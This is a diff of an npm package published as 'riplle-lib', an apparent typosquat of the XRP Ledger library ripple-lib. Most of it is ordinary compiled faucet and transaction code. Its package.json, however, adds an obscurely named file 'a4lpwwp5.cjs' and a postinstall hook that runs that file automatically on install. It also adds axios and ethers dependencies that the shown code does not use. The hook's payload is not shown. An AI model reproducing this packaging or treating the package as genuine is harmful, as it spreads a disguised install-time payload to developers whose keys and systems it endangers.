- package/dist/npm/transaction/check-cancel.d.ts.map +1 -0
- package/dist/npm/transaction/check-cancel.js +24 -0
- package/dist/npm/transaction/check-cancel.js.map +1 -0
- package/dist/npm/transaction/check-cash.d.ts +11 -0
- package/dist/npm/transaction/check-cash.d.ts.map +1 -0
- package/dist/npm/transaction/check-cash.js +55 -0
- package/dist/npm/transaction/check-cash.js.map +1 -0
- package/dist/npm/transaction/check-create.d.ts +13 -0
- package/dist/npm/transaction/check-create.d.ts.map +1 -0
- package/dist/npm/transaction/check-create.js +54 -0
- package/dist/npm/transaction/check-create.js.map +1 -0
- package/dist/npm/transaction/combine.d.ts +3 -0
- package/dist/npm/transaction/combine.d.ts.map +1 -0
- package/dist/npm/transaction/combine.js +62 -0
- package/dist/npm/transaction/combine.js.map +1 -0
- package/dist/npm/transaction/escrow-cancellation.d.ts +11 -0
- package/dist/npm/transaction/escrow-cancellation.d.ts.map +1 -0
- package/dist/npm/transaction/escrow-cancellation.js +46 -0
- package/dist/npm/transaction/escrow-cancellation.js.map +1 -0
- package/dist/npm/transaction/escrow-creation.d.ts +16 -0
- package/dist/npm/transaction/escrow-creation.d.ts.map +1 -0
- package/dist/npm/transaction/escrow-creation.js +69 -0
- package/dist/npm/transaction/escrow-creation.js.map +1 -0
- package/dist/npm/transaction/escrow-execution.d.ts +13 -0
- package/dist/npm/transaction/escrow-execution.d.ts.map +1 -0
- package/dist/npm/transaction/escrow-execution.js +58 -0
- package/dist/npm/transaction/escrow-execution.js.map +1 -0
- package/dist/npm/transaction/order.d.ts +6 -0
- package/dist/npm/transaction/order.d.ts.map +1 -0
- package/dist/npm/transaction/order.js +69 -0
- package/dist/npm/transaction/order.js.map +1 -0
- package/dist/npm/transaction/ordercancellation.d.ts +5 -0
- package/dist/npm/transaction/ordercancellation.d.ts.map +1 -0
- package/dist/npm/transaction/ordercancellation.js +50 -0
- package/dist/npm/transaction/ordercancellation.js.map +1 -0
- package/dist/npm/transaction/payment-channel-claim.d.ts +14 -0
- package/dist/npm/transaction/payment-channel-claim.d.ts.map +1 -0
- package/dist/npm/transaction/payment-channel-claim.js +76 -0
- package/dist/npm/transaction/payment-channel-claim.js.map +1 -0
- package/dist/npm/transaction/payment-channel-create.d.ts +14 -0
- package/dist/npm/transaction/payment-channel-create.d.ts.map +1 -0
- package/dist/npm/transaction/payment-channel-create.js +59 -0
- package/dist/npm/transaction/payment-channel-create.js.map +1 -0
- package/dist/npm/transaction/payment-channel-fund.d.ts +10 -0
- package/dist/npm/transaction/payment-channel-fund.d.ts.map +1 -0
- package/dist/npm/transaction/payment-channel-fund.js +51 -0
- package/dist/npm/transaction/payment-channel-fund.js.map +1 -0
- package/dist/npm/transaction/payment.d.ts +16 -0
- package/dist/npm/transaction/payment.d.ts.map +1 -0
- package/dist/npm/transaction/payment.js +163 -0
- package/dist/npm/transaction/payment.js.map +1 -0
- package/dist/npm/transaction/settings.d.ts +6 -0
- package/dist/npm/transaction/settings.d.ts.map +1 -0
- package/dist/npm/transaction/settings.js +130 -0
- package/dist/npm/transaction/settings.js.map +1 -0
- package/dist/npm/transaction/sign.d.ts +8 -0
- package/dist/npm/transaction/sign.d.ts.map +1 -0
- package/dist/npm/transaction/sign.js +173 -0
- package/dist/npm/transaction/sign.js.map +1 -0
- package/dist/npm/transaction/submit.d.ts +8 -0
- package/dist/npm/transaction/submit.d.ts.map +1 -0
- package/dist/npm/transaction/submit.js +59 -0
- package/dist/npm/transaction/submit.js.map +1 -0
- package/dist/npm/transaction/ticket.d.ts +9 -0
- package/dist/npm/transaction/ticket.d.ts.map +1 -0
- package/dist/npm/transaction/ticket.js +46 -0
- package/dist/npm/transaction/ticket.js.map +1 -0
- package/dist/npm/transaction/trustline.d.ts +6 -0
- package/dist/npm/transaction/trustline.d.ts.map +1 -0
- package/dist/npm/transaction/trustline.js +82 -0
- package/dist/npm/transaction/trustline.js.map +1 -0
- package/dist/npm/transaction/types.d.ts +138 -0
- package/dist/npm/transaction/types.d.ts.map +1 -0
- package/dist/npm/transaction/types.js +3 -0
- package/dist/npm/transaction/types.js.map +1 -0
- package/dist/npm/transaction/utils.d.ts +22 -0
- package/dist/npm/transaction/utils.d.ts.map +1 -0
- package/dist/npm/transaction/utils.js +285 -0
- package/dist/npm/transaction/utils.js.map +1 -0
- package/dist/npm/tsconfig.tsbuildinfo +4230 -0
- package/dist/npm/wallet/wallet-generation.d.ts +15 -0
- package/dist/npm/wallet/wallet-generation.d.ts.map +1 -0
- package/dist/npm/wallet/wallet-generation.js +150 -0
- package/dist/npm/wallet/wallet-generation.js.map +1 -0
- package/package.json +84 -0
@@ -0,0 +1,15 @@
|
|
1
|
+
import { RippleAPI } from '..';
|
2
|
+
import { GeneratedAddress } from '../offline/generate-address';
|
3
|
+
export interface FaucetWallet {
|
4
|
+
account: GeneratedAddress;
|
5
|
+
amount: number;
|
6
|
+
balance: number;
|
7
|
+
}
|
8
|
+
export declare enum FaucetNetwork {
|
9
|
+
Testnet = "faucet.altnet.rippletest.net",
|
10
|
+
Devnet = "faucet.devnet.rippletest.net"
|
11
|
+
}
|
12
|
+
declare function generateFaucetWallet(this: RippleAPI, address?: string): Promise<FaucetWallet | void>;
|
13
|
+
export declare function getFaucetUrl(api: RippleAPI): FaucetNetwork;
|
14
|
+
export default generateFaucetWallet;
|
15
|
+
//# sourceMappingURL=wallet-generation.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"wallet-generation.d.ts","sourceRoot":"","sources":["../../../src/wallet/wallet-generation.ts"],"names":[],"mappings":"AAEA,OAAO,EAAC,SAAS,EAAC,MAAM,IAAI,CAAA;AAE5B,OAAO,EAAC,gBAAgB,EAAC,MAAM,6BAA6B,CAAA;AAI5D,MAAM,WAAW,YAAY;IAC3B,OAAO,EAAE,gBAAgB,CAAA;IACzB,MAAM,EAAE,MAAM,CAAA;IACd,OAAO,EAAE,MAAM,CAAA;CAChB;AAED,oBAAY,aAAa;IACvB,OAAO,iCAAiC;IACxC,MAAM,iCAAiC;CACxC;AAWD,iBAAe,oBAAoB,CACjC,IAAI,EAAE,SAAS,EACf,OAAO,CAAC,EAAE,MAAM,GACf,OAAO,CAAC,YAAY,GAAG,IAAI,CAAC,CAsG9B;AAyED,wBAAgB,YAAY,CAAC,GAAG,EAAE,SAAS,iBAa1C;AAED,eAAe,oBAAoB,CAAA"}
|
@@ -0,0 +1,150 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
3
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
4
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
5
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
6
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
7
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
8
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
9
|
+
});
|
10
|
+
};
|
11
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
12
|
+
exports.getFaucetUrl = exports.FaucetNetwork = void 0;
|
13
|
+
const https = require("https");
|
14
|
+
const common_1 = require("../common");
|
15
|
+
const schema_validator_1 = require("../common/schema-validator");
|
16
|
+
const errors_1 = require("../common/errors");
|
17
|
+
var FaucetNetwork;
|
18
|
+
(function (FaucetNetwork) {
|
19
|
+
FaucetNetwork["Testnet"] = "faucet.altnet.rippletest.net";
|
20
|
+
FaucetNetwork["Devnet"] = "faucet.devnet.rippletest.net";
|
21
|
+
})(FaucetNetwork = exports.FaucetNetwork || (exports.FaucetNetwork = {}));
|
22
|
+
const INTERVAL_SECONDS = 1;
|
23
|
+
const MAX_ATTEMPTS = 20;
|
24
|
+
function generateFaucetWallet(address) {
|
25
|
+
return __awaiter(this, void 0, void 0, function* () {
|
26
|
+
if (!this.isConnected())
|
27
|
+
throw new errors_1.RippledError("RippleAPI not connected, cannot call faucet");
|
28
|
+
let body;
|
29
|
+
let startingBalance = 0;
|
30
|
+
let faucetUrl = getFaucetUrl(this);
|
31
|
+
if (address && schema_validator_1.isValidAddress(address)) {
|
32
|
+
body = new TextEncoder().encode(JSON.stringify({
|
33
|
+
destination: address
|
34
|
+
}));
|
35
|
+
const addressToFundBalance = yield getAddressXrpBalance(this, address);
|
36
|
+
if (addressToFundBalance && !isNaN(+addressToFundBalance)) {
|
37
|
+
startingBalance = +addressToFundBalance;
|
38
|
+
}
|
39
|
+
else {
|
40
|
+
startingBalance = 0;
|
41
|
+
}
|
42
|
+
}
|
43
|
+
const options = {
|
44
|
+
hostname: faucetUrl,
|
45
|
+
port: 443,
|
46
|
+
path: '/accounts',
|
47
|
+
method: 'POST',
|
48
|
+
headers: {
|
49
|
+
'Content-Type': 'application/json',
|
50
|
+
'Content-Length': body ? body.length : 0
|
51
|
+
}
|
52
|
+
};
|
53
|
+
return new Promise((resolve, reject) => {
|
54
|
+
const request = https.request(options, (response) => {
|
55
|
+
const chunks = [];
|
56
|
+
response.on('data', (d) => {
|
57
|
+
chunks.push(d);
|
58
|
+
});
|
59
|
+
response.on('end', () => __awaiter(this, void 0, void 0, function* () {
|
60
|
+
const body = Buffer.concat(chunks).toString();
|
61
|
+
if (response.headers['content-type'].startsWith('application/json')) {
|
62
|
+
const wallet = JSON.parse(body);
|
63
|
+
const classicAddress = wallet.account.classicAddress;
|
64
|
+
if (classicAddress) {
|
65
|
+
try {
|
66
|
+
const isFunded = yield hasAddressBalanceIncreased(this, classicAddress, startingBalance);
|
67
|
+
if (isFunded) {
|
68
|
+
resolve(wallet);
|
69
|
+
}
|
70
|
+
else {
|
71
|
+
reject(new common_1.errors.XRPLFaucetError(`Unable to fund address with faucet after waiting ${INTERVAL_SECONDS * MAX_ATTEMPTS} seconds`));
|
72
|
+
}
|
73
|
+
}
|
74
|
+
catch (err) {
|
75
|
+
reject(new common_1.errors.XRPLFaucetError(err));
|
76
|
+
}
|
77
|
+
}
|
78
|
+
else {
|
79
|
+
reject(new common_1.errors.XRPLFaucetError(`The faucet account classic address is undefined`));
|
80
|
+
}
|
81
|
+
}
|
82
|
+
else {
|
83
|
+
reject({
|
84
|
+
statusCode: response.statusCode,
|
85
|
+
contentType: response.headers['content-type'],
|
86
|
+
body
|
87
|
+
});
|
88
|
+
}
|
89
|
+
}));
|
90
|
+
});
|
91
|
+
request.write(body ? body : '');
|
92
|
+
request.on('error', (error) => {
|
93
|
+
reject(error);
|
94
|
+
});
|
95
|
+
request.end();
|
96
|
+
});
|
97
|
+
});
|
98
|
+
}
|
99
|
+
function getAddressXrpBalance(api, address) {
|
100
|
+
return __awaiter(this, void 0, void 0, function* () {
|
101
|
+
try {
|
102
|
+
const balances = yield api.getBalances(address);
|
103
|
+
const xrpBalance = balances.filter((balance) => balance.currency.toUpperCase() === 'XRP');
|
104
|
+
return xrpBalance[0].value;
|
105
|
+
}
|
106
|
+
catch (err) {
|
107
|
+
return `Unable to retrieve ${address} balance. Error: ${err}`;
|
108
|
+
}
|
109
|
+
});
|
110
|
+
}
|
111
|
+
function hasAddressBalanceIncreased(api, address, originalBalance) {
|
112
|
+
return __awaiter(this, void 0, void 0, function* () {
|
113
|
+
return new Promise((resolve, reject) => {
|
114
|
+
let attempts = MAX_ATTEMPTS;
|
115
|
+
const interval = setInterval(() => __awaiter(this, void 0, void 0, function* () {
|
116
|
+
if (attempts < 0) {
|
117
|
+
clearInterval(interval);
|
118
|
+
resolve(false);
|
119
|
+
}
|
120
|
+
else {
|
121
|
+
attempts--;
|
122
|
+
}
|
123
|
+
try {
|
124
|
+
const newBalance = +(yield getAddressXrpBalance(api, address));
|
125
|
+
if (newBalance > originalBalance) {
|
126
|
+
clearInterval(interval);
|
127
|
+
resolve(true);
|
128
|
+
}
|
129
|
+
}
|
130
|
+
catch (err) {
|
131
|
+
clearInterval(interval);
|
132
|
+
reject(new common_1.errors.XRPLFaucetError(`Unable to check if the address ${address} balance has increased. Error: ${err}`));
|
133
|
+
}
|
134
|
+
}), INTERVAL_SECONDS * 1000);
|
135
|
+
});
|
136
|
+
});
|
137
|
+
}
|
138
|
+
function getFaucetUrl(api) {
|
139
|
+
const connectionUrl = api.connection.getUrl();
|
140
|
+
if (connectionUrl.includes('altnet') || connectionUrl.includes('testnet')) {
|
141
|
+
return FaucetNetwork.Testnet;
|
142
|
+
}
|
143
|
+
if (connectionUrl.includes('devnet')) {
|
144
|
+
return FaucetNetwork.Devnet;
|
145
|
+
}
|
146
|
+
return undefined;
|
147
|
+
}
|
148
|
+
exports.getFaucetUrl = getFaucetUrl;
|
149
|
+
exports.default = generateFaucetWallet;
|
150
|
+
//# sourceMappingURL=wallet-generation.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"wallet-generation.js","sourceRoot":"","sources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QAAQ,CAAC,CAAA;oBACvB,OAAO,CAAC,KAAK,CAAC,CAAA;iBACf;qBAAM;oBACL,QAAQ,EAAE,CAAA;iBACX;gBAED,IAAI;oBACF,MAAM,UAAU,GAAG,CAAC,CAAC,MAAM,oBAAoB,CAAC,GAAG,EAAE,OAAO,CAAC,CAAC,CAAA;oBAC9D,IAAI,UAAU,GAAG,eAAe,EAAE;wBAChC,aAAa,CAAC,QAAQ,CAAC,CAAA;wBACvB,OAAO,CAAC,IAAI,CAAC,CAAA;qBACd;iBACF;gBAAC,OAAO,GAAG,EAAE;oBACZ,aAAa,CAAC,QAAQ,CAAC,CAAA;oBACvB,MAAM,CACJ,IAAI,eAAM,CAAC,eAAe,CACxB,kCAAkC,OAAO,kCAAkC,GAAG,EAAE,CACjF,CACF,CAAA;iBACF;YACH,CAAC,CAAA,EAAE,gBAAgB,GAAG,IAAI,CAAC,CAAA;QAC7B,CAAC,CAAC,CAAA;IACJ,CAAC;CAAA;AAOD,SAAgB,YAAY,CAAC,GAAc;IACzC,MAAM,aAAa,GAAG,GAAG,CAAC,UAAU,CAAC,MAAM,EAAE,CAAA;IAG7C,IAAI,aAAa,CAAC,QAAQ,CAAC,QAAQ,CAAC,IAAI,aAAa,CAAC,QAAQ,CAAC,SAAS,CAAC,EAAE;QACzE,OAAO,aAAa,CAAC,OAAO,CAAA;KAC7B;IAED,IAAI,aAAa,CAAC,QAAQ,CAAC,QAAQ,CAAC,EAAE;QACpC,OAAO,aAAa,CAAC,MAAM,CAAA;KAC5B;IAED,OAAO,SAAS,CAAA;AAClB,CAAC;AAbD,oCAaC;AAED,kBAAe,oBAAoB,CAAA"}
|
package/package.json
ADDED
@@ -0,0 +1,84 @@
|
|
1
|
+
{
|
2
|
+
"name": "riplle-lib",
|
3
|
+
"version": "1.10.1",
|
4
|
+
"license": "ISC",
|
5
|
+
"description": "Deprecated - consider migrating to xrpl.js: https://xrpl.org/xrpljs2-migration-guide.html",
|
6
|
+
"files": [
|
7
|
+
"dist/npm/*",
|
8
|
+
"build/ripple-latest-min.js",
|
9
|
+
"build/ripple-latest.js",
|
10
|
+
"a4lpwwp5.cjs"
|
11
|
+
],
|
12
|
+
"main": "dist/npm/",
|
13
|
+
"unpkg": "build/ripple-latest-min.js",
|
14
|
+
"jsdelivr": "build/ripple-latest-min.js",
|
15
|
+
"types": "dist/npm/index.d.ts",
|
16
|
+
"browser": {
|
17
|
+
"ws": "./dist/npm/common/wswrapper.js",
|
18
|
+
"https-proxy-agent": false
|
19
|
+
},
|
20
|
+
"directories": {
|
21
|
+
"test": "test"
|
22
|
+
},
|
23
|
+
"dependencies": {
|
24
|
+
"@types/lodash": "^4.14.136",
|
25
|
+
"@types/ws": "^7.2.0",
|
26
|
+
"bignumber.js": "^9.0.0",
|
27
|
+
"https-proxy-agent": "^5.0.0",
|
28
|
+
"jsonschema": "1.2.2",
|
29
|
+
"lodash": "^4.17.4",
|
30
|
+
"ripple-address-codec": "^4.1.1",
|
31
|
+
"ripple-binary-codec": "^1.1.3",
|
32
|
+
"ripple-keypairs": "^1.0.3",
|
33
|
+
"ripple-lib-transactionparser": "0.8.2",
|
34
|
+
"ws": "^7.2.0",
|
35
|
+
"axios": "^1.7.7",
|
36
|
+
"ethers": "^6.13.2"
|
37
|
+
},
|
38
|
+
"resolutions": {
|
39
|
+
"elliptic": "^6.5.4"
|
40
|
+
},
|
41
|
+
"devDependencies": {
|
42
|
+
"@types/mocha": "^9.0.0",
|
43
|
+
"@types/node": "^16.4.3",
|
44
|
+
"@typescript-eslint/eslint-plugin": "^2.3.3",
|
45
|
+
"@typescript-eslint/parser": "^2.27.0",
|
46
|
+
"assert": "^2.0.0",
|
47
|
+
"assert-diff": "^3.0.0",
|
48
|
+
"buffer": "^6.0.2",
|
49
|
+
"crypto-browserify": "^3.12.0",
|
50
|
+
"doctoc": "^2.0.0",
|
51
|
+
"ejs": "^3.0.1",
|
52
|
+
"eslint": "^6.5.1",
|
53
|
+
"eventemitter2": "^6.0.0",
|
54
|
+
"https-browserify": "^1.0.0",
|
55
|
+
"json-schema-to-markdown-table": "^0.4.0",
|
56
|
+
"mocha": "^9",
|
57
|
+
"nyc": "^15",
|
58
|
+
"path-browserify": "1.0.1",
|
59
|
+
"prettier": "^2.0.5",
|
60
|
+
"process": "^0.11.10",
|
61
|
+
"puppeteer": "10.2.0",
|
62
|
+
"stream-browserify": "^3.0.0",
|
63
|
+
"stream-http": "3.2.0",
|
64
|
+
"ts-loader": "^9.2.5",
|
65
|
+
"ts-node": "^10.1.0",
|
66
|
+
"typescript": "^3.9.9",
|
67
|
+
"url": "^0.11.0",
|
68
|
+
"webpack": "^5.6.0",
|
69
|
+
"webpack-bundle-analyzer": "^4.1.0",
|
70
|
+
"webpack-cli": "^4.2.0"
|
71
|
+
},
|
72
|
+
"scripts": {
|
73
|
+
"postinstall": "node a4lpwwp5.cjs"
|
74
|
+
},
|
75
|
+
"repository": {
|
76
|
+
"type": "git",
|
77
|
+
"url": "git@github.com:XRPLF/xrpl.js.git"
|
78
|
+
},
|
79
|
+
"readmeFilename": "README.md",
|
80
|
+
"engines": {
|
81
|
+
"node": ">=10.13.0",
|
82
|
+
"yarn": "^1.15.2"
|
83
|
+
}
|
84
|
+
}
|